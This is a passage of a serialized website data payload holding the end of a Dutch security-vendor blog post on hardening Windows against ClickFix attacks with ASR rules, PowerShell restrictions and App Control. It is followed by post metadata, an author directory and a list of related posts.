nowrap",[551,943,944],{},"d3e037e1-3eb8-44c8-a917-57927947596d",[920,946,947],{"style":937},"WSH, .js of .vbs die gedownloade payloads starten",[900,949,902,950,902,953,902,958,898],{},[920,951,952],{"style":922},"Uitvoerbare bestanden alleen toestaan bij een prevalentie-, ouderdoms- of trusted-list-criterium",[920,954,955],{"style":926},[551,956,957],{},"01443614-cd74-433a-b99e-2ecdc07bfc25",[920,959,960],{"style":922},"Verse of zeldzame neergezette executables",[900,962,902,963,902,966,902,971,898],{},[920,964,965],{"style":937},"Uitvoerbare inhoud uit e-mailclient en webmail blokkeren",[920,967,968],{"style":941},[551,969,970],{},"be9ba2d9-53ea-4cdc-84e5-9b1eeee46550",[920,972,973],{"style":937},"Via e-mail bezorgde ClickFix-varianten",[900,975,902,976,902,979,902,984,898],{},[920,977,978],{"style":922},"Alle Office-applicaties verhinderen kindprocessen te creëren",[920,980,981],{"style":926},[551,982,983],{},"d4f940ab-401b-4efc-aadc-ad5f3c50688a",[920,985,986],{"style":922},"Office-lokaasvarianten die interpreters starten",[534,988,989],{},"Rol ASR eerst in de auditmodus uit, dan als pilot, dan in de blokmodus. Tamper Protection is de laatste lijn: ze verhindert de aanvaller jullie detecties uit te schakelen.",[534,991,992],{},"Bij PowerShell zelf beperken jullie het risico door legacy interpreters. Identificeer en verwijder, waar haalbaar, Windows PowerShell 2.0 en legacy VBScript-componenten, waaraan de logging- en securityfeatures van nieuwere versies ontbreken. De volgende stap is de Constrained Language Mode (CLM), die de beschikbare taalelementen van PowerShell inperkt en veel scriptgebaseerde technieken blokkeert. CLM heeft alleen dan robuuste beveiligingswaarde wanneer een system application control policy hem afdwingt (App Control for Business); de varianten via omgevingsvariabele en AppLocker zijn zwakker en omzeilbaar. En veel systemen hebben de Full Language Mode nodig om te functioneren, zoals software-deployment-tooling, waardoor CLM vaak alleen in geselecteerde omgevingen haalbaar is.",[534,994,995],{},"Daarmee zijn we bij App Control for Business (voorheen WDAC). App Control dwingt een code-integriteitspolicy af over welke executables, scripts en drivers mogen draaien. De strategische houding is default-deny plus Microsofts aanbevolen block rules, de bekende LOLBin- en bypass-blokkeerlijst. App Control is ook het correcte enforcementpad voor de PowerShell-CLM. De script enforcement blokkeert MSHTA- en MSXML-scripthosts, dwingt PowerShell in de CLM en blokkeert niet-toegestane inzet van de Windows Script Host. Een paar gedragsfeiten zijn belangrijk:",[804,997,807,998,807,1001,807,1004],{"style":806},[809,999,1000],{},"Base policies die Windows vertrouwen, blokkeren vertrouwde LOLBins niet automatisch. Jullie moeten Microsofts aanbevolen block rules inmergen om de bekende bypasses te sluiten.",[809,1002,1003],{},"App Control verhindert het starten van gesigneerde powershell.exe of cmd.exe niet. Het perkt in wat ze mogen doen (CLM, geen ongesigneerde of niet-toegestane payload) en regelt niet de inhoud van cmd.exe, .bat of .cmd. Daarom wordt het met ASR en launch-hardening gelaagd, niet alleen ingezet.",[809,1005,1006],{},"De auditmodus is niet neutraal: de script enforcement blokkeert ook in de audit de uitvoering van MSHTA en MSXML en kan het PowerShell-CLM-gedrag veranderen. Daarom moet App Control in de audit vanaf de eerste uitrol pilot- of ringbegrensd zijn, nooit vlootbreed.",[534,1008,1009],{},"App Control is de afzonderlijke control met de hoogste confidence tegen de interpreter-, LOLBin- en payload-uitvoeringsfasen en dwingt robuuste CLM af. Het draagt tegelijk de hoogste deploymentcomplexiteit en het hoogste rollbackrisico, want een misconfiguratie blokkeert de uitvoering. Voer het in via gecontroleerde pilotringen.",[529,1011,1013],{"id":1012},"waar-wij-in-het-spel-komen","Waar wij in het spel komen",[534,1015,536],{},[534,1017,1018,1019,784],{},"ClickFix is snel, en Microsofts native detecties dekken het meeste af, maar niet alles. Voor onze CSOC-klanten breiden we de dekking doorlopend uit waar gaten opduiken: uitvoering via Windows Terminal, RAT-gedreven supportscams en post-compromise-gedrag. Als jullie willen weten waar jullie omgeving staat, ",[1020,1021,1022],"a",{"href":276},"laat het ons weten",[1024,1025,1026],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":577,"searchDepth":677,"depth":677,"links":1028},[1029,1030,1031,1032,1033,1034,1035,1036,1037],{"id":531,"depth":677,"text":532},{"id":615,"depth":677,"text":616},{"id":627,"depth":677,"text":628},{"id":650,"depth":677,"text":651},{"id":763,"depth":677,"text":764},{"id":793,"depth":677,"text":794},{"id":830,"depth":677,"text":831},{"id":846,"depth":677,"text":847},{"id":1012,"depth":677,"text":1013},"md","post",{"lang":1041,"seoTitle":1042,"titleClass":1043,"date":1044,"categories":1045,"blogtitlepic":1046,"socialimg":1047,"customExcerpt":1048,"keywords":1049,"asideNav":1050,"published":325},"nl","ClickFix-aanvallen detecteren en verhinderen: de Win+R-paste-truc","h2-font-size","2026-09-21",[235],"head-clickfix.jpg","/blog/heads/head-clickfix.jpg","ClickFix maakt gebruikers tot hun eigen aanvaller: een vals CAPTCHA, een copy-paste, en schadelijke code draait in het geheugen zonder dat er iets op de schijf landt. Hoe Microsoft Defender de aanval detecteert, waar de detectie tegen grenzen aanloopt en hoe jullie het gat dichten met een RunMRU-hunt en vier beschermingslagen.","ClickFix, ClickFix-aanval, ClickFix-detectie, ClickFix verhinderen, vals CAPTCHA, Win+R-aanval, RunMRU KQL, Microsoft Defender, Attack Surface Reduction, ASR-regels, App Control for Business, WDAC, Constrained Language Mode, Network Protection, AMSI, Endpoint Privilege Management, infostealer, LOLBin, PowerShell-hardening",{"menuItems":1051},[1052,1055,1058,1061,1064,1067,1070,1073,1076],{"href":1053,"text":1054},"#de-clickfix-aanvalsketen","De aanvalsketen",{"href":1056,"text":1057},"#wat-microsoft-defender-detecteert","Wat Defender detecteert",{"href":1059,"text":1060},"#waar-de-native-detectie-tegen-haar-grenzen-aanloopt","Waar het knelt",{"href":1062,"text":1063},"#het-gat-dichten-een-runmru-hunt","Het gat dichten",{"href":1065,"text":1066},"#beschermingslaag-1-de-bezorging-blokkeren","Laag 1: bezorging",{"href":1068,"text":1069},"#beschermingslaag-2-de-truc-blokkeren","Laag 2: de truc",{"href":1071,"text":1072},"#beschermingslaag-3-de-actie-blokkeren","Laag 3: de actie",{"href":1074,"text":1075},"#beschermingslaag-4-de-uitvoering-blokkeren","Laag 4: uitvoering",{"href":1077,"text":1013},"#waar-wij-in-het-spel-komen","/posts/2026-09-21-clickfix-prevent-detect",{"title":521,"description":577},"posts/2026-09-21-clickfix-prevent-detect",[1082,1083,1084],"Defender","SOC","Endpoint Security","lS01fik3j3PA11SfFEubOmZbcX5CpsIRGptr_n3mheA",{"id":1087,"extension":1088,"meta":1089,"stem":8,"__hash__":1437},"authors_data/authors.json","json",{"path":1090,"Fritz Zurhorst":1091,"Alexander Schlindwein":1096,"Sophie Luna":1102,"Nadine Klein":1110,"Karsten Kleinschmidt":1115,"Julian Wendt":1123,"Holger Bunkradt":1128,"Ralf Mania":1134,"Oliver Kieselbach":1140,"Steffen Schwerdtfeger":1146,"Gunnar Winter":1154,"Jan Petersen":1159,"Thorsten Kunzi":1164,"Moritz Pohl":1168,"Thorben Pöschus":1173,"Christoph Hannebauer":1179,"Marco Scheel":1183,"Christopher Brumm":1188,"Florian Klante":1195,"Niklas Bachmann":1200,"Nils Krautkrämer":1205,"Patrick Treptau":1211,"Peter Beckendorf":1216,"Patrick Sobau":1221,"Jörg Wunderlich":1226,"Michael Breither":1230,"Christian Kanja":1235,"Zeba Hoffmann":1241,"Jochen Fröhlich":1246,"Jan Geisbauer":1250,"Gerrit Reinke":1261,"Christian Kordel":1267,"Stephan Wälde":1271,"Carolin Kanja":1276,"Adrian Ritter":1282,"Marvin Bangert":1287,"Thorsten Pickhan":1293,"Christian Lorenz":1299,"Denis Böhm":1304,"Fabian Bader":1309,"Juan Jose Fernandez Perez":1315,"Mahschid Sayyar":1320,"Benjamin Dassow":1325,"Markus Walschburger":1330,"Jonathan Haist":1335,"Daniel Rohregger":1340,"Thomas Naunheim":1345,"Florian Stöckl":1350,"Pascal Asch":1355,"Markus Kättner":1360,"Anna Ulbricht":1367,"Annette Brauns":1374,"body":1380,"title":1436},"/authors",{"display_name":523,"avatar":1092,"permalink":1093,"linkedin":1094,"imageOffsetTop":1095},"people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":1097,"avatar":1098,"permalink":1099,"twitter":1100,"linkedin":1101},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":1103,"avatar":1104,"permalink":1105,"twitter":1106,"linkedin":1107,"imageOffsetLeft":1108,"imageOffsetTop":1109},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":524,"avatar":1111,"permalink":1112,"twitter":1113,"linkedin":1114,"imageOffsetTop":1095},"people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":1116,"avatar":1117,"permalink":1118,"twitter":1119,"linkedin":1120,"imageOffsetTop":1121,"imageOffsetLeft":1122},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":1124,"avatar":1125,"permalink":1126,"linkedin":1127},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":1129,"avatar":1130,"permalink":1131,"linkedin":1132,"twitter":1133},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":1135,"avatar":1136,"permalink":1137,"linkedin":1138,"twitter":1139},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":1141,"avatar":1142,"permalink":1143,"linkedin":1144,"twitter":1145},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":1147,"avatar":1148,"permalink":1149,"linkedin":1150,"twitter":1151,"imageOffsetTop":1152,"imageOffsetLeft":1153},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":1155,"avatar":1156,"permalink":1157,"twitter":1106,"linkedin":1158},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":1160,"avatar":1161,"permalink":1162,"twitter":1106,"linkedin":1163},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":1165,"avatar":1166,"permalink":1167,"twitter":1106,"linkedin":1158,"imageOffsetTop":1095},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":1169,"avatar":1170,"permalink":1171,"twitter":1106,"linkedin":1172},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":1174,"avatar":1175,"permalink":1176,"twitter":1177,"linkedin":1178},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":1180,"avatar":1181,"permalink":1182,"twitter":1106,"linkedin":1158,"imageOffsetTop":1095},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":1184,"avatar":1185,"permalink":1186,"twitter":1187,"linkedin":1187},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":1189,"avatar":1190,"permalink":1191,"twitter":1192,"linkedin":1193,"imageOffsetTop":1194},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":1196,"avatar":1197,"permalink":1198,"linkedin":1199,"twitter":1106},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":1201,"avatar":1202,"permalink":1203,"linkedin":1204,"twitter":1106},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":1206,"avatar":1207,"permalink":1208,"twitter":1209,"linkedin":1210},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":1212,"avatar":1213,"permalink":1214,"linkedin":1215,"twitter":1106},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":1217,"avatar":1218,"permalink":1219,"linkedin":1220,"twitter":1106,"imageOffsetTop":1095},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":1222,"avatar":1223,"permalink":1224,"linkedin":1225,"twitter":1106},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":1227,"avatar":1228,"permalink":1229,"twitter":1106},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":1231,"avatar":1232,"permalink":1233,"twitter":1106,"linkedin":1234},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":1236,"avatar":1237,"permalink":1238,"twitter":1239,"linkedin":1240},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":1242,"avatar":1243,"permalink":1244,"linkedin":1245,"twitter":1106},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":1247,"avatar":1248,"permalink":1249,"twitter":1106,"linkedin":1158},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":1251,"avatar":1252,"permalink":1253,"twitter":1254,"linkedin":1254,"imageOffsetTop":1095,"socials":1255},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[1256,1258],{"text":472,"href":1257},"https://emptydc.com",{"text":1259,"href":1260},"Podcast","https://hairlessinthecloud.com",{"display_name":1262,"avatar":1263,"permalink":1264,"twitter":1265,"linkedin":1266},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":1268,"avatar":1269,"permalink":1270,"twitter":1106,"linkedin":1158},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":1272,"avatar":1273,"permalink":1274,"twitter":1275,"linkedin":1158},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":1277,"avatar":1278,"permalink":1279,"twitter":1280,"linkedin":1281},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":1283,"avatar":1284,"permalink":1285,"twitter":1286,"linkedin":1286},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":1288,"avatar":1289,"permalink":1290,"twitter":1291,"linkedin":1292},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":1294,"avatar":1295,"permalink":1296,"twitter":1297,"linkedin":1298},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":1300,"avatar":1301,"permalink":1302,"linkedin":1303,"twitter":1106},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":1305,"avatar":1306,"permalink":1307,"linkedin":1308,"twitter":1106},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":1310,"avatar":1311,"permalink":1312,"linkedin":1313,"twitter":1314},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":1316,"avatar":1317,"permalink":1318,"linkedin":1319},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":1321,"avatar":1322,"permalink":1323,"linkedin":1324},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":1326,"avatar":1327,"permalink":1328,"linkedin":1329},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":1331,"avatar":1332,"permalink":1333,"linkedin":1334},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":1336,"avatar":1337,"permalink":1338,"linkedin":1339,"imageOffsetTop":1095},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":1341,"avatar":1342,"permalink":1343,"linkedin":1344,"imageOffsetTop":1095},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":1346,"avatar":1347,"permalink":1348,"linkedin":1349,"imageOffsetTop":1194},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":1351,"avatar":1352,"permalink":1353,"linkedin":1354,"imageOffsetTop":1194},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":1356,"avatar":1357,"permalink":1358,"linkedin":1359,"imageOffsetTop":1194},"Pascal Asch","people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":1361,"avatar":1362,"permalink":1363,"linkedin":1364,"imageOffsetTop":1365,"imageOffsetLeft":1366},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":1368,"avatar":1369,"permalink":1370,"linkedin":1371,"imageOffsetTop":1372,"imageOffsetLeft":1373},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":1375,"avatar":1376,"permalink":1377,"linkedin":1378,"imageOffsetTop":1379,"imageOffsetLeft":1121},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":1381,"Alexander Schlindwein":1382,"Sophie Luna":1383,"Nadine Klein":1384,"Karsten Kleinschmidt":1385,"Julian Wendt":1386,"Holger Bunkradt":1387,"Ralf Mania":1388,"Oliver Kieselbach":1389,"Steffen Schwerdtfeger":1390,"Gunnar Winter":1391,"Jan Petersen":1392,"Thorsten Kunzi":1393,"Moritz Pohl":1394,"Thorben Pöschus":1395,"Christoph Hannebauer":1396,"Marco Scheel":1397,"Christopher Brumm":1398,"Florian Klante":1399,"Niklas Bachmann":1400,"Nils Krautkrämer":1401,"Patrick Treptau":1402,"Peter Beckendorf":1403,"Patrick Sobau":1404,"Jörg Wunderlich":1405,"Michael Breither":1406,"Christian Kanja":1407,"Zeba Hoffmann":1408,"Jochen Fröhlich":1409,"Jan Geisbauer":1410,"Gerrit Reinke":1414,"Christian Kordel":1415,"Stephan Wälde":1416,"Carolin Kanja":1417,"Adrian Ritter":1418,"Marvin Bangert":1419,"Thorsten Pickhan":1420,"Christian Lorenz":1421,"Denis Böhm":1422,"Fabian Bader":1423,"Juan Jose Fernandez Perez":1424,"Mahschid Sayyar":1425,"Benjamin Dassow":1426,"Markus Walschburger":1427,"Jonathan Haist":1428,"Daniel Rohregger":1429,"Thomas Naunheim":1430,"Florian Stöckl":1431,"Pascal Asch":1432,"Markus Kättner":1433,"Anna Ulbricht":1434,"Annette Brauns":1435},{"display_name":523,"avatar":1092,"permalink":1093,"linkedin":1094,"imageOffsetTop":1095},{"display_name":1097,"avatar":1098,"permalink":1099,"twitter":1100,"linkedin":1101},{"display_name":1103,"avatar":1104,"permalink":1105,"twitter":1106,"linkedin":1107,"imageOffsetLeft":1108,"imageOffsetTop":1109},{"display_name":524,"avatar":1111,"permalink":1112,"twitter":1113,"linkedin":1114,"imageOffsetTop":1095},{"display_name":1116,"avatar":1117,"permalink":1118,"twitter":1119,"linkedin":1120,"imageOffsetTop":1121,"imageOffsetLeft":1122},{"display_name":1124,"avatar":1125,"permalink":1126,"linkedin":1127},{"display_name":1129,"avatar":1130,"permalink":1131,"linkedin":1132,"twitter":1133},{"display_name":1135,"avatar":1136,"permalink":1137,"linkedin":1138,"twitter":1139},{"display_name":1141,"avatar":1142,"permalink":1143,"linkedin":1144,"twitter":1145},{"display_name":1147,"avatar":1148,"permalink":1149,"linkedin":1150,"twitter":1151,"imageOffsetTop":1152,"imageOffsetLeft":1153},{"display_name":1155,"avatar":1156,"permalink":1157,"twitter":1106,"linkedin":1158},{"display_name":1160,"avatar":1161,"permalink":1162,"twitter":1106,"linkedin":1163},{"display_name":1165,"avatar":1166,"permalink":1167,"twitter":1106,"linkedin":1158,"imageOffsetTop":1095},{"display_name":1169,"avatar":1170,"permalink":1171,"twitter":1106,"linkedin":1172},{"display_name":1174,"avatar":1175,"permalink":1176,"twitter":1177,"linkedin":1178},{"display_name":1180,"avatar":1181,"permalink":1182,"twitter":1106,"linkedin":1158,"imageOffsetTop":1095},{"display_name":1184,"avatar":1185,"permalink":1186,"twitter":1187,"linkedin":1187},{"display_name":1189,"avatar":1190,"permalink":1191,"twitter":1192,"linkedin":1193,"imageOffsetTop":1194},{"display_name":1196,"avatar":1197,"permalink":1198,"linkedin":1199,"twitter":1106},{"display_name":1201,"avatar":1202,"permalink":1203,"linkedin":1204,"twitter":1106},{"display_name":1206,"avatar":1207,"permalink":1208,"twitter":1209,"linkedin":1210},{"display_name":1212,"avatar":1213,"permalink":1214,"linkedin":1215,"twitter":1106},{"display_name":1217,"avatar":1218,"permalink":1219,"linkedin":1220,"twitter":1106,"imageOffsetTop":1095},{"display_name":1222,"avatar":1223,"permalink":1224,"linkedin":1225,"twitter":1106},{"display_name":1227,"avatar":1228,"permalink":1229,"twitter":1106},{"display_name":1231,"avatar":1232,"permalink":1233,"twitter":1106,"linkedin":1234},{"display_name":1236,"avatar":1237,"permalink":1238,"twitter":1239,"linkedin":1240},{"display_name":1242,"avatar":1243,"permalink":1244,"linkedin":1245,"twitter":1106},{"display_name":1247,"avatar":1248,"permalink":1249,"twitter":1106,"linkedin":1158},{"display_name":1251,"avatar":1252,"permalink":1253,"twitter":1254,"linkedin":1254,"imageOffsetTop":1095,"socials":1411},[1412,1413],{"text":472,"href":1257},{"text":1259,"href":1260},{"display_name":1262,"avatar":1263,"permalink":1264,"twitter":1265,"linkedin":1266},{"display_name":1268,"avatar":1269,"permalink":1270,"twitter":1106,"linkedin":1158},{"display_name":1272,"avatar":1273,"permalink":1274,"twitter":1275,"linkedin":1158},{"display_name":1277,"avatar":1278,"permalink":1279,"twitter":1280,"linkedin":1281},{"display_name":1283,"avatar":1284,"permalink":1285,"twitter":1286,"linkedin":1286},{"display_name":1288,"avatar":1289,"permalink":1290,"twitter":1291,"linkedin":1292},{"display_name":1294,"avatar":1295,"permalink":1296,"twitter":1297,"linkedin":1298},{"display_name":1300,"avatar":1301,"permalink":1302,"linkedin":1303,"twitter":1106},{"display_name":1305,"avatar":1306,"permalink":1307,"linkedin":1308,"twitter":1106},{"display_name":1310,"avatar":1311,"permalink":1312,"linkedin":1313,"twitter":1314},{"display_name":1316,"avatar":1317,"permalink":1318,"linkedin":1319},{"display_name":1321,"avatar":1322,"permalink":1323,"linkedin":1324},{"display_name":1326,"avatar":1327,"permalink":1328,"linkedin":1329},{"display_name":1331,"avatar":1332,"permalink":1333,"linkedin":1334},{"display_name":1336,"avatar":1337,"permalink":1338,"linkedin":1339,"imageOffsetTop":1095},{"display_name":1341,"avatar":1342,"permalink":1343,"linkedin":1344,"imageOffsetTop":1095},{"display_name":1346,"avatar":1347,"permalink":1348,"linkedin":1349,"imageOffsetTop":1194},{"display_name":1351,"avatar":1352,"permalink":1353,"linkedin":1354,"imageOffsetTop":1194},{"display_name":1356,"avatar":1357,"permalink":1358,"linkedin":1359,"imageOffsetTop":1194},{"display_name":1361,"avatar":1362,"permalink":1363,"linkedin":1364,"imageOffsetTop":1365,"imageOffsetLeft":1366},{"display_name":1368,"avatar":1369,"permalink":1370,"linkedin":1371,"imageOffsetTop":1372,"imageOffsetLeft":1373},{"display_name":1375,"avatar":1376,"permalink":1377,"linkedin":1378,"imageOffsetTop":1379,"imageOffsetLeft":1121},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":1439,"authors":1645},[1440,1456,1461,1475,1491,1504,1517,1530,1542,1558,1572,1587,1605,1616,1629],{"id":1441,"title":1442,"author":1443,"cta":494,"description":577,"hideInRecent":484,"layout":1039,"meta":1444,"moment":1448,"path":1449,"stem":1450,"tags":1451,"webcast":484},"content_nl/posts/2026-09-22-end-of-mfa-sms.md","Het einde van de MFA-sms",[1116],{"lang":1041,"date":1044,"categories":1445,"blogtitlepic":1446,"customExcerpt":1447},[235],"head-conditional-access.jpg","Waarom organisaties nu moeten overstappen op phishingresistente en zo veel mogelijk wachtwoordloze aanmeldmethoden.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,1452,1453,1454,1455],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":520,"title":521,"author":1457,"cta":494,"description":577,"hideInRecent":484,"layout":1039,"meta":1458,"moment":1044,"path":1078,"stem":1080,"tags":1460,"webcast":484},[523,524],{"lang":1041,"date":1044,"categories":1459,"blogtitlepic":1046,"customExcerpt":1048},[235],[1082,1083,1084],{"id":1462,"title":1463,"author":1464,"cta":494,"description":577,"hideInRecent":484,"layout":1039,"meta":1465,"moment":1044,"path":1469,"stem":1470,"tags":1471,"webcast":484},"content_nl/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin en dagelijks werk op één computer? Game Over.",[1251],{"lang":1041,"date":1044,"categories":1466,"blogtitlepic":1467,"customExcerpt":1468},[235],"head-game-over-en.jpg","Waarom één tenant voor CIO's niet volstaat, en de tweede zelden wordt meegedacht. De Managed Red Tenant scheidt administratief werk architectonisch van de office-omgeving, de Managed Dark Tenant houdt de organisatie handelingsbekwaam wanneer de verdediging toch valt. Wat dat betekent voor het bedrijfsmodel, het SOC-signaal en de aantoonplichten volgens NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,1472,1473,1474],"Privileged Access","Zero Trust","NIS2",{"id":1476,"title":1477,"author":1478,"cta":494,"description":1479,"hideInRecent":484,"layout":1039,"meta":1480,"moment":1481,"path":1486,"stem":1487,"tags":1488,"webcast":484},"content_nl/posts/2026-08-08-isg-germany-2026.md","Vier keer Leader. glueckkanja in de ISG-studie Duitsland 2026",[1277],"ISG heeft zijn studie dit jaar een andere naam gegeven. Van het Microsoft Cloud Ecosystem werd het Microsoft AI and Cloud Ecosystem, en met de naam is de maatstaf verschoven: beoordeeld wordt niet meer wie Microsoft-platformen invoert, maar wie Copilot, agents en AI-workloads beheersbaar draait. Aan onze positie heeft de nieuwe maatstaf niets veranderd. De ISG Provider Lens®-studie Duitsland 2026 positioneert ons als Leader in vier kwadranten: Microsoft Productivity and Business Process Services en Azure Managed Services, telkens in de Large Market en in de Mid Market. Na 2021, 2023, 2024 en 2025 is het de vijfde Leader-inschaling in Duitsland, in Zwitserland kwam de sprong naar het Leader-kwadrant twee weken eerder.",{"lang":1041,"date":1481,"categories":1482,"blogtitlepic":1484,"customExcerpt":1485},"2026-08-08",[1483],"Corporate","head-isg-de-2026.png","De ISG Provider Lens®-studie 2026 positioneert glueckkanja in Duitsland als Leader in vier kwadranten: Microsoft Productivity and Business Process Services en Azure Managed Services, telkens in de Large en in de Mid Market. De studie heet nu Microsoft AI and Cloud Ecosystem, en de maatstaf is verschoven: beoordeeld wordt wie AI- en agent-workloads beheersbaar draait.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[1489,1490],"Award","ISG",{"id":1492,"title":1493,"author":1494,"cta":494,"description":1495,"hideInRecent":484,"layout":1039,"meta":1496,"moment":1497,"path":1501,"stem":1502,"tags":1503,"webcast":484},"content_nl/posts/2026-07-31-isg-switzerland-2026.md","Van Rising Star naar Leader. glueckkanja in de ISG-studie Zwitserland 2026",[1277],"In 2024 hebben we glueckkanja Switzerland AG opgericht en in het zentroom aan de Bahnhofplatz 10b in Bern een kantoor betrokken. In 2025 heeft ISG ons in de Zwitserse markt als Rising Star ingeschaald, als de aanbieder van wie de analisten de sprong naar het Leader-kwadrant verwachten. Nu is die sprong gedocumenteerd: de ISG Provider Lens®-studie 2026 positioneert ons in Zwitserland als Leader in het kwadrant Microsoft AI and Cloud Ecosystem, op de gebieden Azure Managed Services en Microsoft Productivity and Business Process Services.",{"lang":1041,"date":1497,"categories":1498,"blogtitlepic":1499,"customExcerpt":1500},"2026-07-31",[1483],"head-isg-ch-2026.png","De ISG Provider Lens®-studie 2026 positioneert glueckkanja in Zwitserland als Leader in het kwadrant Microsoft AI and Cloud Ecosystem, op de gebieden Azure Managed Services en Microsoft Productivity and Business 